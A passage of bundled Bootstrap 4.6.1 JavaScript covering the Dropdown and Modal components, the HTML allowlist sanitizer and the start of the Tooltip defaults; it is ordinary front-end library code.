referenceElement = this._config.reference; // Check if it's jQuery element
if (typeof this._config.reference.jquery !== 'undefined') {
referenceElement = this._config.reference[0];
}
} // If boundary is not `scrollParent`, then set position to `static`
// to allow the menu to "escape" the scroll parent's boundaries
// https://github.com/twbs/bootstrap/issues/24251
if (this._config.boundary !== 'scrollParent') {
$__default["default"](parent).addClass(CLASS_NAME_POSITION_STATIC);
}
this._popper = new Popper__default["default"](referenceElement, this._menu, this._getPopperConfig());
} // If this is a touch-enabled device we add extra
// empty mouseover listeners to the body's immediate children;
// only needed because of broken event delegation on iOS
// https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html
if ('ontouchstart' in document.documentElement && $__default["default"](parent).closest(SELECTOR_NAVBAR_NAV).length === 0) {
$__default["default"](document.body).children().on('mouseover', null, $__default["default"].noop);
}
this._element.focus();
this._element.setAttribute('aria-expanded', true);
$__default["default"](this._menu).toggleClass(CLASS_NAME_SHOW$5);
$__default["default"](parent).toggleClass(CLASS_NAME_SHOW$5).trigger($__default["default"].Event(EVENT_SHOWN$3, relatedTarget));
};
_proto.hide = function hide() {
if (this._element.disabled || $__default["default"](this._element).hasClass(CLASS_NAME_DISABLED$1) || !$__default["default"](this._menu).hasClass(CLASS_NAME_SHOW$5)) {
return;
}
var relatedTarget = {
relatedTarget: this._element
};
var hideEvent = $__default["default"].Event(EVENT_HIDE$3, relatedTarget);
var parent = Dropdown._getParentFromElement(this._element);
$__default["default"](parent).trigger(hideEvent);
if (hideEvent.isDefaultPrevented()) {
return;
}
if (this._popper) {
this._popper.destroy();
}
$__default["default"](this._menu).toggleClass(CLASS_NAME_SHOW$5);
$__default["default"](parent).toggleClass(CLASS_NAME_SHOW$5).trigger($__default["default"].Event(EVENT_HIDDEN$3, relatedTarget));
};
_proto.dispose = function dispose() {
$__default["default"].removeData(this._element, DATA_KEY$6);
$__default["default"](this._element).off(EVENT_KEY$6);
this._element = null;
this._menu = null;
if (this._popper !== null) {
this._popper.destroy();
this._popper = null;
}
};
_proto.update = function update() {
this._inNavbar = this._detectNavbar();
if (this._popper !== null) {
this._popper.scheduleUpdate();
}
} // Private
;
_proto._addEventListeners = function _addEventListeners() {
var _this = this;
$__default["default"](this._element).on(EVENT_CLICK, function (event) {
event.preventDefault();
event.stopPropagation();
_this.toggle();
});
};
_proto._getConfig = function _getConfig(config) {
config = _extends({}, this.constructor.Default, $__default["default"](this._element).data(), config);
Util.typeCheckConfig(NAME$6, config, this.constructor.DefaultType);
return config;
};
_proto._getMenuElement = function _getMenuElement() {
if (!this._menu) {
var parent = Dropdown._getParentFromElement(this._element);
if (parent) {
this._menu = parent.querySelector(SELECTOR_MENU);
}
}
return this._menu;
};
_proto._getPlacement = function _getPlacement() {
var $parentDropdown = $__default["default"](this._element.parentNode);
var placement = PLACEMENT_BOTTOM; // Handle dropup
if ($parentDropdown.hasClass(CLASS_NAME_DROPUP)) {
placement = $__default["default"](this._menu).hasClass(CLASS_NAME_MENURIGHT) ? PLACEMENT_TOPEND : PLACEMENT_TOP;
} else if ($parentDropdown.hasClass(CLASS_NAME_DROPRIGHT)) {
placement = PLACEMENT_RIGHT;
} else if ($parentDropdown.hasClass(CLASS_NAME_DROPLEFT)) {
placement = PLACEMENT_LEFT;
} else if ($__default["default"](this._menu).hasClass(CLASS_NAME_MENURIGHT)) {
placement = PLACEMENT_BOTTOMEND;
}
return placement;
};
_proto._detectNavbar = function _detectNavbar() {
return $__default["default"](this._element).closest('.navbar').length > 0;
};
_proto._getOffset = function _getOffset() {
var _this2 = this;
var offset = {};
if (typeof this._config.offset === 'function') {
offset.fn = function (data) {
data.offsets = _extends({}, data.offsets, _this2._config.offset(data.offsets, _this2._element));
return data;
};
} else {
offset.offset = this._config.offset;
}
return offset;
};
_proto._getPopperConfig = function _getPopperConfig() {
var popperConfig = {
placement: this._getPlacement(),
modifiers: {
offset: this._getOffset(),
flip: {
enabled: this._config.flip
},
preventOverflow: {
boundariesElement: this._config.boundary
}
}
}; // Disable Popper if we have a static display
if (this._config.display === 'static') {
popperConfig.modifiers.applyStyle = {
enabled: false
};
}
return _extends({}, popperConfig, this._config.popperConfig);
} // Static
;
Dropdown._jQueryInterface = function _jQueryInterface(config) {
return this.each(function () {
var data = $__default["default"](this).data(DATA_KEY$6);
var _config = typeof config === 'object' ? config : null;
if (!data) {
data = new Dropdown(this, _config);
$__default["default"](this).data(DATA_KEY$6, data);
}
if (typeof config === 'string') {
if (typeof data[config] === 'undefined') {
throw new TypeError("No method named \"" + config + "\"");
}
data[config]();
}
});
};
Dropdown._clearMenus = function _clearMenus(event) {
if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH || event.type === 'keyup' && event.which !== TAB_KEYCODE)) {
return;
}
var toggles = [].slice.call(document.querySelectorAll(SELECTOR_DATA_TOGGLE$2));
for (var i = 0, len = toggles.length; i < len; i++) {
var parent = Dropdown._getParentFromElement(toggles[i]);
var context = $__default["default"](toggles[i]).data(DATA_KEY$6);
var relatedTarget = {
relatedTarget: toggles[i]
};
if (event && event.type === 'click') {
relatedTarget.clickEvent = event;
}
if (!context) {
continue;
}
var dropdownMenu = context._menu;
if (!$__default["default"](parent).hasClass(CLASS_NAME_SHOW$5)) {
continue;
}
if (event && (event.type === 'click' && /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) && $__default["default"].contains(parent, event.target)) {
continue;
}
var hideEvent = $__default["default"].Event(EVENT_HIDE$3, relatedTarget);
$__default["default"](parent).trigger(hideEvent);
if (hideEvent.isDefaultPrevented()) {
continue;
} // If this is a touch-enabled device we remove the extra
// empty mouseover listeners we added for iOS support
if ('ontouchstart' in document.documentElement) {
$__default["default"](document.body).children().off('mouseover', null, $__default["default"].noop);
}
toggles[i].setAttribute('aria-expanded', 'false');
if (context._popper) {
context._popper.destroy();
}
$__default["default"](dropdownMenu).removeClass(CLASS_NAME_SHOW$5);
$__default["default"](parent).removeClass(CLASS_NAME_SHOW$5).trigger($__default["default"].Event(EVENT_HIDDEN$3, relatedTarget));
}
};
Dropdown._getParentFromElement = function _getParentFromElement(element) {
var parent;
var selector = Util.getSelectorFromElement(element);
if (selector) {
parent = document.querySelector(selector);
}
return parent || element.parentNode;
} // eslint-disable-next-line complexity
;
Dropdown._dataApiKeydownHandler = function _dataApiKeydownHandler(event) {
// If not input/textarea:
// - And not a key in REGEXP_KEYDOWN => not a dropdown command
// If input/textarea:
// - If space key => not a dropdown command
// - If key is other than escape
// - If key is not up or down => not a dropdown command
// - If trigger inside the menu => not a dropdown command
if (/input|textarea/i.test(event.target.tagName) ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE$1 && (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE || $__default["default"](event.target).closest(SELECTOR_MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {
return;
}
if (this.disabled || $__default["default"](this).hasClass(CLASS_NAME_DISABLED$1)) {
return;
}
var parent = Dropdown._getParentFromElement(this);
var isActive = $__default["default"](parent).hasClass(CLASS_NAME_SHOW$5);
if (!isActive && event.which === ESCAPE_KEYCODE$1) {
return;
}
event.preventDefault();
event.stopPropagation();
if (!isActive || event.which === ESCAPE_KEYCODE$1 || event.which === SPACE_KEYCODE) {
if (event.which === ESCAPE_KEYCODE$1) {
$__default["default"](parent.querySelector(SELECTOR_DATA_TOGGLE$2)).trigger('focus');
}
$__default["default"](this).trigger('click');
return;
}
var items = [].slice.call(parent.querySelectorAll(SELECTOR_VISIBLE_ITEMS)).filter(function (item) {
return $__default["default"](item).is(':visible');
});
if (items.length === 0) {
return;
}
var index = items.indexOf(event.target);
if (event.which === ARROW_UP_KEYCODE && index > 0) {
// Up
index--;
}
if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) {
// Down
index++;
}
if (index < 0) {
index = 0;
}
items[index].focus();
};
_createClass(Dropdown, null, [{
key: "VERSION",
get: function get() {
return VERSION$6;
}
}, {
key: "Default",
get: function get() {
return Default$5;
}
}, {
key: "DefaultType",
get: function get() {
return DefaultType$5;
}
}]);
return Dropdown;
}();
/**
* Data API implementation
*/
$__default["default"](document).on(EVENT_KEYDOWN_DATA_API, SELECTOR_DATA_TOGGLE$2, Dropdown._dataApiKeydownHandler).on(EVENT_KEYDOWN_DATA_API, SELECTOR_MENU, Dropdown._dataApiKeydownHandler).on(EVENT_CLICK_DATA_API$2 + " " + EVENT_KEYUP_DATA_API, Dropdown._clearMenus).on(EVENT_CLICK_DATA_API$2, SELECTOR_DATA_TOGGLE$2, function (event) {
event.preventDefault();
event.stopPropagation();
Dropdown._jQueryInterface.call($__default["default"](this), 'toggle');
}).on(EVENT_CLICK_DATA_API$2, SELECTOR_FORM_CHILD, function (e) {
e.stopPropagation();
});
/**
* jQuery
*/
$__default["default"].fn[NAME$6] = Dropdown._jQueryInterface;
$__default["default"].fn[NAME$6].Constructor = Dropdown;
$__default["default"].fn[NAME$6].noConflict = function () {
$__default["default"].fn[NAME$6] = JQUERY_NO_CONFLICT$6;
return Dropdown._jQueryInterface;
};
/**
* Constants
*/
var NAME$5 = 'modal';
var VERSION$5 = '4.6.1';
var DATA_KEY$5 = 'bs.modal';
var EVENT_KEY$5 = "." + DATA_KEY$5;
var DATA_API_KEY$2 = '.data-api';
var JQUERY_NO_CONFLICT$5 = $__default["default"].fn[NAME$5];
var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key
var CLASS_NAME_SCROLLABLE = 'modal-dialog-scrollable';
var CLASS_NAME_SCROLLBAR_MEASURER = 'modal-scrollbar-measure';
var CLASS_NAME_BACKDROP = 'modal-backdrop';
var CLASS_NAME_OPEN = 'modal-open';
var CLASS_NAME_FADE$4 = 'fade';
var CLASS_NAME_SHOW$4 = 'show';
var CLASS_NAME_STATIC = 'modal-static';
var EVENT_HIDE$2 = "hide" + EVENT_KEY$5;
var EVENT_HIDE_PREVENTED = "hidePrevented" + EVENT_KEY$5;
var EVENT_HIDDEN$2 = "hidden" + EVENT_KEY$5;
var EVENT_SHOW$2 = "show" + EVENT_KEY$5;
var EVENT_SHOWN$2 = "shown" + EVENT_KEY$5;
var EVENT_FOCUSIN = "focusin" + EVENT_KEY$5;
var EVENT_RESIZE = "resize" + EVENT_KEY$5;
var EVENT_CLICK_DISMISS$1 = "click.dismiss" + EVENT_KEY$5;
var EVENT_KEYDOWN_DISMISS = "keydown.dismiss" + EVENT_KEY$5;
var EVENT_MOUSEUP_DISMISS = "mouseup.dismiss" + EVENT_KEY$5;
var EVENT_MOUSEDOWN_DISMISS = "mousedown.dismiss" + EVENT_KEY$5;
var EVENT_CLICK_DATA_API$1 = "click" + EVENT_KEY$5 + DATA_API_KEY$2;
var SELECTOR_DIALOG = '.modal-dialog';
var SELECTOR_MODAL_BODY = '.modal-body';
var SELECTOR_DATA_TOGGLE$1 = '[data-toggle="modal"]';
var SELECTOR_DATA_DISMISS$1 = '[data-dismiss="modal"]';
var SELECTOR_FIXED_CONTENT = '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top';
var SELECTOR_STICKY_CONTENT = '.sticky-top';
var Default$4 = {
backdrop: true,
keyboard: true,
focus: true,
show: true
};
var DefaultType$4 = {
backdrop: '(boolean|string)',
keyboard: 'boolean',
focus: 'boolean',
show: 'boolean'
};
/**
* Class definition
*/
var Modal = /*#__PURE__*/function () {
function Modal(element, config) {
this._config = this._getConfig(config);
this._element = element;
this._dialog = element.querySelector(SELECTOR_DIALOG);
this._backdrop = null;
this._isShown = false;
this._isBodyOverflowing = false;
this._ignoreBackdropClick = false;
this._isTransitioning = false;
this._scrollbarWidth = 0;
} // Getters
var _proto = Modal.prototype;
// Public
_proto.toggle = function toggle(relatedTarget) {
return this._isShown ? this.hide() : this.show(relatedTarget);
};
_proto.show = function show(relatedTarget) {
var _this = this;
if (this._isShown || this._isTransitioning) {
return;
}
var showEvent = $__default["default"].Event(EVENT_SHOW$2, {
relatedTarget: relatedTarget
});
$__default["default"](this._element).trigger(showEvent);
if (showEvent.isDefaultPrevented()) {
return;
}
this._isShown = true;
if ($__default["default"](this._element).hasClass(CLASS_NAME_FADE$4)) {
this._isTransitioning = true;
}
this._checkScrollbar();
this._setScrollbar();
this._adjustDialog();
this._setEscapeEvent();
this._setResizeEvent();
$__default["default"](this._element).on(EVENT_CLICK_DISMISS$1, SELECTOR_DATA_DISMISS$1, function (event) {
return _this.hide(event);
});
$__default["default"](this._dialog).on(EVENT_MOUSEDOWN_DISMISS, function () {
$__default["default"](_this._element).one(EVENT_MOUSEUP_DISMISS, function (event) {
if ($__default["default"](event.target).is(_this._element)) {
_this._ignoreBackdropClick = true;
}
});
});
this._showBackdrop(function () {
return _this._showElement(relatedTarget);
});
};
_proto.hide = function hide(event) {
var _this2 = this;
if (event) {
event.preventDefault();
}
if (!this._isShown || this._isTransitioning) {
return;
}
var hideEvent = $__default["default"].Event(EVENT_HIDE$2);
$__default["default"](this._element).trigger(hideEvent);
if (!this._isShown || hideEvent.isDefaultPrevented()) {
return;
}
this._isShown = false;
var transition = $__default["default"](this._element).hasClass(CLASS_NAME_FADE$4);
if (transition) {
this._isTransitioning = true;
}
this._setEscapeEvent();
this._setResizeEvent();
$__default["default"](document).off(EVENT_FOCUSIN);
$__default["default"](this._element).removeClass(CLASS_NAME_SHOW$4);
$__default["default"](this._element).off(EVENT_CLICK_DISMISS$1);
$__default["default"](this._dialog).off(EVENT_MOUSEDOWN_DISMISS);
if (transition) {
var transitionDuration = Util.getTransitionDurationFromElement(this._element);
$__default["default"](this._element).one(Util.TRANSITION_END, function (event) {
return _this2._hideModal(event);
}).emulateTransitionEnd(transitionDuration);
} else {
this._hideModal();
}
};
_proto.dispose = function dispose() {
[window, this._element, this._dialog].forEach(function (htmlElement) {
return $__default["default"](htmlElement).off(EVENT_KEY$5);
});
/**
* `document` has 2 events `EVENT_FOCUSIN` and `EVENT_CLICK_DATA_API`
* Do not move `document` in `htmlElements` array
* It will remove `EVENT_CLICK_DATA_API` event that should remain
*/
$__default["default"](document).off(EVENT_FOCUSIN);
$__default["default"].removeData(this._element, DATA_KEY$5);
this._config = null;
this._element = null;
this._dialog = null;
this._backdrop = null;
this._isShown = null;
this._isBodyOverflowing = null;
this._ignoreBackdropClick = null;
this._isTransitioning = null;
this._scrollbarWidth = null;
};
_proto.handleUpdate = function handleUpdate() {
this._adjustDialog();
} // Private
;
_proto._getConfig = function _getConfig(config) {
config = _extends({}, Default$4, config);
Util.typeCheckConfig(NAME$5, config, DefaultType$4);
return config;
};
_proto._triggerBackdropTransition = function _triggerBackdropTransition() {
var _this3 = this;
var hideEventPrevented = $__default["default"].Event(EVENT_HIDE_PREVENTED);
$__default["default"](this._element).trigger(hideEventPrevented);
if (hideEventPrevented.isDefaultPrevented()) {
return;
}
var isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight;
if (!isModalOverflowing) {
this._element.style.overflowY = 'hidden';
}
this._element.classList.add(CLASS_NAME_STATIC);
var modalTransitionDuration = Util.getTransitionDurationFromElement(this._dialog);
$__default["default"](this._element).off(Util.TRANSITION_END);
$__default["default"](this._element).one(Util.TRANSITION_END, function () {
_this3._element.classList.remove(CLASS_NAME_STATIC);
if (!isModalOverflowing) {
$__default["default"](_this3._element).one(Util.TRANSITION_END, function () {
_this3._element.style.overflowY = '';
}).emulateTransitionEnd(_this3._element, modalTransitionDuration);
}
}).emulateTransitionEnd(modalTransitionDuration);
this._element.focus();
};
_proto._showElement = function _showElement(relatedTarget) {
var _this4 = this;
var transition = $__default["default"](this._element).hasClass(CLASS_NAME_FADE$4);
var modalBody = this._dialog ? this._dialog.querySelector(SELECTOR_MODAL_BODY) : null;
if (!this._element.parentNode || this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {
// Don't move modal's DOM position
document.body.appendChild(this._element);
}
this._element.style.display = 'block';
this._element.removeAttribute('aria-hidden');
this._element.setAttribute('aria-modal', true);
this._element.setAttribute('role', 'dialog');
if ($__default["default"](this._dialog).hasClass(CLASS_NAME_SCROLLABLE) && modalBody) {
modalBody.scrollTop = 0;
} else {
this._element.scrollTop = 0;
}
if (transition) {
Util.reflow(this._element);
}
$__default["default"](this._element).addClass(CLASS_NAME_SHOW$4);
if (this._config.focus) {
this._enforceFocus();
}
var shownEvent = $__default["default"].Event(EVENT_SHOWN$2, {
relatedTarget: relatedTarget
});
var transitionComplete = function transitionComplete() {
if (_this4._config.focus) {
_this4._element.focus();
}
_this4._isTransitioning = false;
$__default["default"](_this4._element).trigger(shownEvent);
};
if (transition) {
var transitionDuration = Util.getTransitionDurationFromElement(this._dialog);
$__default["default"](this._dialog).one(Util.TRANSITION_END, transitionComplete).emulateTransitionEnd(transitionDuration);
} else {
transitionComplete();
}
};
_proto._enforceFocus = function _enforceFocus() {
var _this5 = this;
$__default["default"](document).off(EVENT_FOCUSIN) // Guard against infinite focus loop
.on(EVENT_FOCUSIN, function (event) {
if (document !== event.target && _this5._element !== event.target && $__default["default"](_this5._element).has(event.target).length === 0) {
_this5._element.focus();
}
});
};
_proto._setEscapeEvent = function _setEscapeEvent() {
var _this6 = this;
if (this._isShown) {
$__default["default"](this._element).on(EVENT_KEYDOWN_DISMISS, function (event) {
if (_this6._config.keyboard && event.which === ESCAPE_KEYCODE) {
event.preventDefault();
_this6.hide();
} else if (!_this6._config.keyboard && event.which === ESCAPE_KEYCODE) {
_this6._triggerBackdropTransition();
}
});
} else if (!this._isShown) {
$__default["default"](this._element).off(EVENT_KEYDOWN_DISMISS);
}
};
_proto._setResizeEvent = function _setResizeEvent() {
var _this7 = this;
if (this._isShown) {
$__default["default"](window).on(EVENT_RESIZE, function (event) {
return _this7.handleUpdate(event);
});
} else {
$__default["default"](window).off(EVENT_RESIZE);
}
};
_proto._hideModal = function _hideModal() {
var _this8 = this;
this._element.style.display = 'none';
this._element.setAttribute('aria-hidden', true);
this._element.removeAttribute('aria-modal');
this._element.removeAttribute('role');
this._isTransitioning = false;
this._showBackdrop(function () {
$__default["default"](document.body).removeClass(CLASS_NAME_OPEN);
_this8._resetAdjustments();
_this8._resetScrollbar();
$__default["default"](_this8._element).trigger(EVENT_HIDDEN$2);
});
};
_proto._removeBackdrop = function _removeBackdrop() {
if (this._backdrop) {
$__default["default"](this._backdrop).remove();
this._backdrop = null;
}
};
_proto._showBackdrop = function _showBackdrop(callback) {
var _this9 = this;
var animate = $__default["default"](this._element).hasClass(CLASS_NAME_FADE$4) ? CLASS_NAME_FADE$4 : '';
if (this._isShown && this._config.backdrop) {
this._backdrop = document.createElement('div');
this._backdrop.className = CLASS_NAME_BACKDROP;
if (animate) {
this._backdrop.classList.add(animate);
}
$__default["default"](this._backdrop).appendTo(document.body);
$__default["default"](this._element).on(EVENT_CLICK_DISMISS$1, function (event) {
if (_this9._ignoreBackdropClick) {
_this9._ignoreBackdropClick = false;
return;
}
if (event.target !== event.currentTarget) {
return;
}
if (_this9._config.backdrop === 'static') {
_this9._triggerBackdropTransition();
} else {
_this9.hide();
}
});
if (animate) {
Util.reflow(this._backdrop);
}
$__default["default"](this._backdrop).addClass(CLASS_NAME_SHOW$4);
if (!callback) {
return;
}
if (!animate) {
callback();
return;
}
var backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop);
$__default["default"](this._backdrop).one(Util.TRANSITION_END, callback).emulateTransitionEnd(backdropTransitionDuration);
} else if (!this._isShown && this._backdrop) {
$__default["default"](this._backdrop).removeClass(CLASS_NAME_SHOW$4);
var callbackRemove = function callbackRemove() {
_this9._removeBackdrop();
if (callback) {
callback();
}
};
if ($__default["default"](this._element).hasClass(CLASS_NAME_FADE$4)) {
var _backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop);
$__default["default"](this._backdrop).one(Util.TRANSITION_END, callbackRemove).emulateTransitionEnd(_backdropTransitionDuration);
} else {
callbackRemove();
}
} else if (callback) {
callback();
}
} // ----------------------------------------------------------------------
// the following methods are used to handle overflowing modals
// todo (fat): these should probably be refactored out of modal.js
// ----------------------------------------------------------------------
;
_proto._adjustDialog = function _adjustDialog() {
var isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight;
if (!this._isBodyOverflowing && isModalOverflowing) {
this._element.style.paddingLeft = this._scrollbarWidth + "px";
}
if (this._isBodyOverflowing && !isModalOverflowing) {
this._element.style.paddingRight = this._scrollbarWidth + "px";
}
};
_proto._resetAdjustments = function _resetAdjustments() {
this._element.style.paddingLeft = '';
this._element.style.paddingRight = '';
};
_proto._checkScrollbar = function _checkScrollbar() {
var rect = document.body.getBoundingClientRect();
this._isBodyOverflowing = Math.round(rect.left + rect.right) < window.innerWidth;
this._scrollbarWidth = this._getScrollbarWidth();
};
_proto._setScrollbar = function _setScrollbar() {
var _this10 = this;
if (this._isBodyOverflowing) {
// Note: DOMNode.style.paddingRight returns the actual value or '' if not set
// while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set
var fixedContent = [].slice.call(document.querySelectorAll(SELECTOR_FIXED_CONTENT));
var stickyContent = [].slice.call(document.querySelectorAll(SELECTOR_STICKY_CONTENT)); // Adjust fixed content padding
$__default["default"](fixedContent).each(function (index, element) {
var actualPadding = element.style.paddingRight;
var calculatedPadding = $__default["default"](element).css('padding-right');
$__default["default"](element).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + _this10._scrollbarWidth + "px");
}); // Adjust sticky content margin
$__default["default"](stickyContent).each(function (index, element) {
var actualMargin = element.style.marginRight;
var calculatedMargin = $__default["default"](element).css('margin-right');
$__default["default"](element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) - _this10._scrollbarWidth + "px");
}); // Adjust body padding
var actualPadding = document.body.style.paddingRight;
var calculatedPadding = $__default["default"](document.body).css('padding-right');
$__default["default"](document.body).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + this._scrollbarWidth + "px");
}
$__default["default"](document.body).addClass(CLASS_NAME_OPEN);
};
_proto._resetScrollbar = function _resetScrollbar() {
// Restore fixed content padding
var fixedContent = [].slice.call(document.querySelectorAll(SELECTOR_FIXED_CONTENT));
$__default["default"](fixedContent).each(function (index, element) {
var padding = $__default["default"](element).data('padding-right');
$__default["default"](element).removeData('padding-right');
element.style.paddingRight = padding ? padding : '';
}); // Restore sticky content
var elements = [].slice.call(document.querySelectorAll("" + SELECTOR_STICKY_CONTENT));
$__default["default"](elements).each(function (index, element) {
var margin = $__default["default"](element).data('margin-right');
if (typeof margin !== 'undefined') {
$__default["default"](element).css('margin-right', margin).removeData('margin-right');
}
}); // Restore body padding
var padding = $__default["default"](document.body).data('padding-right');
$__default["default"](document.body).removeData('padding-right');
document.body.style.paddingRight = padding ? padding : '';
};
_proto._getScrollbarWidth = function _getScrollbarWidth() {
// thx d.walsh
var scrollDiv = document.createElement('div');
scrollDiv.className = CLASS_NAME_SCROLLBAR_MEASURER;
document.body.appendChild(scrollDiv);
var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
document.body.removeChild(scrollDiv);
return scrollbarWidth;
} // Static
;
Modal._jQueryInterface = function _jQueryInterface(config, relatedTarget) {
return this.each(function () {
var data = $__default["default"](this).data(DATA_KEY$5);
var _config = _extends({}, Default$4, $__default["default"](this).data(), typeof config === 'object' && config ? config : {});
if (!data) {
data = new Modal(this, _config);
$__default["default"](this).data(DATA_KEY$5, data);
}
if (typeof config === 'string') {
if (typeof data[config] === 'undefined') {
throw new TypeError("No method named \"" + config + "\"");
}
data[config](relatedTarget);
} else if (_config.show) {
data.show(relatedTarget);
}
});
};
_createClass(Modal, null, [{
key: "VERSION",
get: function get() {
return VERSION$5;
}
}, {
key: "Default",
get: function get() {
return Default$4;
}
}]);
return Modal;
}();
/**
* Data API implementation
*/
$__default["default"](document).on(EVENT_CLICK_DATA_API$1, SELECTOR_DATA_TOGGLE$1, function (event) {
var _this11 = this;
var target;
var selector = Util.getSelectorFromElement(this);
if (selector) {
target = document.querySelector(selector);
}
var config = $__default["default"](target).data(DATA_KEY$5) ? 'toggle' : _extends({}, $__default["default"](target).data(), $__default["default"](this).data());
if (this.tagName === 'A' || this.tagName === 'AREA') {
event.preventDefault();
}
var $target = $__default["default"](target).one(EVENT_SHOW$2, function (showEvent) {
if (showEvent.isDefaultPrevented()) {
// Only register focus restorer if modal will actually get shown
return;
}
$target.one(EVENT_HIDDEN$2, function () {
if ($__default["default"](_this11).is(':visible')) {
_this11.focus();
}
});
});
Modal._jQueryInterface.call($__default["default"](target), config, this);
});
/**
* jQuery
*/
$__default["default"].fn[NAME$5] = Modal._jQueryInterface;
$__default["default"].fn[NAME$5].Constructor = Modal;
$__default["default"].fn[NAME$5].noConflict = function () {
$__default["default"].fn[NAME$5] = JQUERY_NO_CONFLICT$5;
return Modal._jQueryInterface;
};
/**
* --------------------------------------------------------------------------
* Bootstrap (v4.6.1): tools/sanitizer.js
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
* --------------------------------------------------------------------------
*/
var uriAttrs = ['background', 'cite', 'href', 'itemtype', 'longdesc', 'poster', 'src', 'xlink:href'];
var ARIA_ATTRIBUTE_PATTERN = /^aria-[\w-]*$/i;
var DefaultWhitelist = {
// Global attributes allowed on any supplied element below.
'*': ['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN],
a: ['target', 'href', 'title', 'rel'],
area: [],
b: [],
br: [],
col: [],
code: [],
div: [],
em: [],
hr: [],
h1: [],
h2: [],
h3: [],
h4: [],
h5: [],
h6: [],
i: [],
img: ['src', 'srcset', 'alt', 'title', 'width', 'height'],
li: [],
ol: [],
p: [],
pre: [],
s: [],
small: [],
span: [],
sub: [],
sup: [],
strong: [],
u: [],
ul: []
};
/**
* A pattern that recognizes a commonly useful subset of URLs that are safe.
*
* Shoutout to Angular https://github.com/angular/angular/blob/12.2.x/packages/core/src/sanitization/url_sanitizer.ts
*/
var SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file|sms):|[^#&/:?]*(?:[#/?]|$))/i;
/**
* A pattern that matches safe data URLs. Only matches image, video and audio types.
*
* Shoutout to Angular https://github.com/angular/angular/blob/12.2.x/packages/core/src/sanitization/url_sanitizer.ts
*/
var DATA_URL_PATTERN = /^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i;
function allowedAttribute(attr, allowedAttributeList) {
var attrName = attr.nodeName.toLowerCase();
if (allowedAttributeList.indexOf(attrName) !== -1) {
if (uriAttrs.indexOf(attrName) !== -1) {
return Boolean(SAFE_URL_PATTERN.test(attr.nodeValue) || DATA_URL_PATTERN.test(attr.nodeValue));
}
return true;
}
var regExp = allowedAttributeList.filter(function (attrRegex) {
return attrRegex instanceof RegExp;
}); // Check if a regular expression validates the attribute.
for (var i = 0, len = regExp.length; i < len; i++) {
if (regExp[i].test(attrName)) {
return true;
}
}
return false;
}
function sanitizeHtml(unsafeHtml, whiteList, sanitizeFn) {
if (unsafeHtml.length === 0) {
return unsafeHtml;
}
if (sanitizeFn && typeof sanitizeFn === 'function') {
return sanitizeFn(unsafeHtml);
}
var domParser = new window.DOMParser();
var createdDocument = domParser.parseFromString(unsafeHtml, 'text/html');
var whitelistKeys = Object.keys(whiteList);
var elements = [].slice.call(createdDocument.body.querySelectorAll('*'));
var _loop = function _loop(i, len) {
var el = elements[i];
var elName = el.nodeName.toLowerCase();
if (whitelistKeys.indexOf(el.nodeName.toLowerCase()) === -1) {
el.parentNode.removeChild(el);
return "continue";
}
var attributeList = [].slice.call(el.attributes); // eslint-disable-next-line unicorn/prefer-spread
var whitelistedAttributes = [].concat(whiteList['*'] || [], whiteList[elName] || []);
attributeList.forEach(function (attr) {
if (!allowedAttribute(attr, whitelistedAttributes)) {
el.removeAttribute(attr.nodeName);
}
});
};
for (var i = 0, len = elements.length; i < len; i++) {
var _ret = _loop(i);
if (_ret === "continue") continue;
}
return createdDocument.body.innerHTML;
}
/**
* Constants
*/
var NAME$4 = 'tooltip';
var VERSION$4 = '4.6.1';
var DATA_KEY$4 = 'bs.tooltip';
var EVENT_KEY$4 = "." + DATA_KEY$4;
var JQUERY_NO_CONFLICT$4 = $__default["default"].fn[NAME$4];
var CLASS_PREFIX$1 = 'bs-tooltip';
var BSCLS_PREFIX_REGEX$1 = new RegExp("(^|\\s)" + CLASS_PREFIX$1 + "\\S+", 'g');
var DISALLOWED_ATTRIBUTES = ['sanitize', 'whiteList', 'sanitizeFn'];
var CLASS_NAME_FADE$3 = 'fade';
var CLASS_NAME_SHOW$3 = 'show';
var HOVER_STATE_SHOW = 'show';
var HOVER_STATE_OUT = 'out';
var SELECTOR_TOOLTIP_INNER = '.tooltip-inner';
var SELECTOR_ARROW = '.arrow';
var TRIGGER_HOVER = 'hover';
var TRIGGER_FOCUS = 'focus';
var TRIGGER_CLICK = 'click';
var TRIGGER_MANUAL = 'manual';
var AttachmentMap = {
AUTO: 'auto',
TOP: 'top',
RIGHT: 'right',
BOTTOM: 'bottom',
LEFT: 'left'
};
var Default$3 = {
animation: true,
template: '<div class="tooltip" role="tooltip">' + '<div class="arrow"></div>' + '<div class="tooltip-inner"></div></div>',
trigger: 'hover focus',
title: '',
delay: 0,
html: false,
selector: false,
placement: 'top',
offset: 0,
container: false,
fallbackPlacement: 'flip',
boundary: 'scrollParent',
customClass: '',
sanitize: true,
sanitizeFn: null,
whiteList: DefaultWhitelist,
popperConfig: null
};
var DefaultType$3 = {
animation: 'boolean',
template: 'string',
title: '(string|element|function)',
trigger: 'string',
delay: '(number|object)',
html: 'boolean',
selector: '(string|boolean)',
placement: '(string|function)',
